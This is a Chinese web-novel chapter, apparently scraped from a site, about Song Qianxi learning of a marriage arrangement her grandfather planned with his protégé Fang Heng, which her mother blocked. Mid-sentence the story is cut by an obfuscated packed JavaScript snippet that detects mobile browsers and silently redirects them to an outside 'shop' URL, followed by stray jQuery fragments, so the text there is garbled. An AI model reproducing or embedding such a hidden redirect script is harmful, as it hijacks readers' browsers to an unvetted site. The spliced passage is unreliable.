宋千曦简直不敢相信自己的耳朵。
“什么婚约?谁的婚约?谁们之间?”
宋云柔依然是那副云淡风轻的表情,平静却坚定地告诉宋千曦:
“你。你和方恒。”
宋千曦听不懂了,又像是听到了这个世界上最好笑的笑话。
“你在开玩笑吗?”宋千曦一时都不知道自己该是什么表情,“什么婚约?为什么我从来没听说过这件事?”
宋云柔无奈地笑了笑,“你当然不会知道,毕竟你读完高中就出国了,总不会在你那么小的时候就跟你说这种事。”
宋千曦愣愣听着。意思是,这婚约在她出国前就有了?
宋云柔眼眸微垂,似是忆起了往事,又喃喃道:“嘛,也不能说是婚约吧,毕竟也没有任何的公证或凭据,只是你爷爷一厢情愿的决定而已。”
“爷爷?”宋千曦愣了。
宋云柔淡淡抬起了头,“你没有感觉到吗?”
宋千曦猛猛摇头。
“他倒是跟我提过几次,说觉得两个孩子很搭对。说我们千曦活泼外向,方恒沉稳内敛,正好长大了一个主外,一个主内。所以后来,你爷爷对方恒,完全是当成亲孙女婿在培养。只是你们当时都还太小了,我也没把他这话放在心上。”
宋千曦震惊了。这是什么养成文学?
“但是后来,他的想法也一直没有变过。你爷爷他本身就是个很固执的人,加上方恒这孩子也确实很优秀很努力,又是他知根知底一手培养起来的,所以他始终觉得,方恒是最适合你的结婚对象。包括培养方恒做淑云集团的CEO,也是想着以后有他来操心公司里的大小事,你就可以过得轻松一些,在家等着公司分红就行。”
“……”
“这种想法一直持续到他住进医院。”宋云柔的神情变得有些哀伤,“他的身体状况变差之后,他原本想把他的资产全部交给信托机构,并要求只有你和方恒结婚登记之后才能获得他的遗产……”
“他疯了吧?”宋千曦简直无法理解。
“……但他最终没有这么做。”宋云柔女士淡淡说完了后半句。
宋千曦顿时又冷静下来了些。
对啊,但是爷爷最终没有这么做。
他最后还是把全部的遗产都给了她,包括淑云集团的股份,没有任何的附加条件。
可这也是让宋千曦感到十分不解的一点。
“所以……他最后改变主意了?”宋千曦不太相信地问道。毕竟爷爷的固执死板,她的体会并不比宋云柔少,“可他为什么又会临时改变想法呢?”
宋千曦满脸疑问地看着宋云柔,却在这一刻,突然从宋云柔略显疲态的脸上看到了答案。
“……因为我。”
-
那一天,宋云柔女士得知宋老先生约见了律师和信托机构的人后,当即就放下工作赶到了医院,无论如何都不允许宋老先生立下那样的遗嘱。
她说,“爸,方恒在我们家生活了这么多年,我早就已经把他当成自己亲生的孩子看待了!如果你实在放心不下方恒,你就是想把财产平分给两个孩子,我也不会有任何意见!但是,唯独不能把千曦的婚姻当成条件啊!”
“万一千曦有自己的想法呢?万一她在国外遇到了真正喜欢的人呢?这样的约束岂不是会让千曦很为难吗?而这对千曦不公平,对方恒也同样不公平啊!”
宋老先生半卧在病床上,愤怒地一拍手中的笔,“她的选择也不一定是对的!她这个年纪知道什么呢?她的脑袋要是有那么清醒,她也不会一意孤行跑到国外去了!”
“是!”宋云柔女士几乎是在哭着哀求,“她的选择不一定是对的!但是您的想法就一定正确吗?”
“结婚这种事,说到底无非是两个人搭伙过日子,互相扶持着走完下半辈子。这种时候,喜欢难道不是比所谓的正确更重要吗?!”
“爸,无爱的婚姻有多煎熬,我是最清楚不过的了!我已经为你的理想、为你的淑云集团牺牲了我的婚姻,难道现在连千曦都要步我的后尘吗?!我这辈子从来没有忤逆过您的意思,但今天,我只是想为我的亲女儿,博取一个与真心相爱之人结婚的权利,难道都不可以吗?!”
那是温柔娴静的宋云柔第一次在父亲面前爆发出那样强烈的情绪,那样激烈地据理力争。
或许是因为对唯一的女儿有着太深的愧疚,宋老先生最终还是没有在那份遗嘱上签下名字。
-
“我的天呐……”宋千曦简直不敢相信自己听到的。
2026了,她的婚姻自由居然还是她妈据理力争换来的。
宋云柔说起这段往事的时候,情绪也控制不住地有些激动,眼眶微微发红。
“妈……”宋千曦伸手想安慰她,却被她摆摆手拦下了。
宋云柔按了按眼角,又从茶桌上抽了张纸,攥在指尖捻了捻,“但是我真正想说的并不是这件事。”
宋千曦不解地蹙起了眉。
宋云柔定定看着宋千曦,接下来的话,似乎说得很艰难,“这件事情,我最对不起的……其实是方恒。”
-
那天宋云柔在医院的病房里,好不容易阻止了宋老先生,送走了信托机构的人。
但当时,她和宋老先生的情绪都很激动,所以也无法坐下来好好聊天,于是宋云柔整理好情绪,回到了平时冷静淡漠的状态后,就同宋老先生道了别。
而当她走出病房,看到的却是一张同样情绪崩溃的脸。
是方恒。
方恒已经在宋家待了太久,有时候就连宋云柔都不得不承认,方恒的身上已经有太多宋家的影子,甚至比千曦更像宋家的孩子。
他像宋老先生一样固执倔强,近乎刻板地严格自律;又像宋云柔一样沉默隐忍,把所有的孤寂埋藏在心底。
而此时他整张脸都因情绪激动而泛着潮红,红着眼睛却发不出声音,紧闭着双唇想要强行咽下喉间的呜咽声。
宋云柔想,她一定伤透了他的心。
她只好搂着方恒的肩膀劝解道:“方恒啊,你知道我一向把你当成自己的孩子看待的。不论爷爷他决定如何划分财产,我都已经帮你备好了房子车子,未来无论如何都不需要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775035|209232||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你为这些最基本的东西烦忧……”
方恒忍着眼泪一直在摇头,很艰难才开了口,“不是的,伯母……宋家已经很照顾我了,供我读书,培养我到今天,我已经很感激了,又怎么可能再贪图宋家的一分一毫?我做梦都不敢动这种心思的!可是……可是……”
看着方恒欲言又止,宋云柔此时才猛然意识到,方恒想要的,不是属于他的那一份财产。
而是千曦。
从始至终,只有千曦。
宋老先生一厢情愿想要促成的一双佳偶,宋云柔女士没当一回事,却在小小的方恒心里生了根,发了芽,长成了一棵参天大树,填满了他的心,成为了他少年的梦里最重要的愿望。
可就在他以为这个愿望终于快要实现的时候,宋云柔女士,宋千曦的妈妈,却站出来强烈反对了这门婚约。
这让他怎么能不伤心。
宋云柔当时也很为难,她也同样心疼方恒,也希望方恒能获得幸福,但是更重要的是,千曦应该拥有选择的权利。
于是她很郑重地对方恒说,“好孩子,如果千曦回来后,你们两个因为互相喜欢,两情相悦而决定在一起,我绝对不会再反对,我会真心地祝福你们……”
可方恒只是悲伤地摇了摇头,没让她再说下去。
如果连爷爷都不再坚持这个婚约,方恒也就失去了最重要的筹码。
以千曦的心性和脾气,他怕是再难留住她了。
“她不会喜欢我的。”
“没事的,伯母……”
“我都理解的……”
-
宋云柔说到这里,一直在眼眶里打转的眼泪才终于落了下来,“是我对不起那孩子。”
宋千曦愣愣听完这些,心中五味杂陈,一时连脸上该作何反应都不知道了。
良久她又摇了摇头,或许是想让妈妈好受些,又说,“……我们不欠他什么……”
宋云柔蹙着眉,闭着眼睛,握成拳的手抵在眉心,攥着纸巾摇了摇头,“你的确不欠他什么,但是我和你爷爷……”
宋千曦带着一丝固执打断了宋云柔的话,“是爷爷不该做出那样的承诺!”
“这算什么呢?这本来就不是爷爷能决定的事,他又凭什么替我决定这门婚约,代替我许下这样的承诺?这对方恒的确不公平,但是对我也同样不公平啊!”
宋云柔女士缓缓吐了一口气,情绪终于平稳下来些,“这些我都明白。我也知道以你的性格,这样的要求和约束只会把你推得更远。”
宋千曦沉默了。的确,要是她早两年就知道了这门婚约的存在,以她的性格,恐怕真就再也不回来了。
宋云柔轻轻拉住了宋千曦的手,“我只是想告诉你,能为你争取的,我都已经帮你争取了。可是方恒那孩子,他也没有做错什么,却只有他承担了这些事情最终导致的全部后果。”
“所以我希望你知道这些事情之后,能够待方恒那孩子好一些,对他善良一些,多替他分担一些。雨天就不要再拉着他出门了,他会不舒服的。好吗?”
宋千曦心情复杂地点了点头。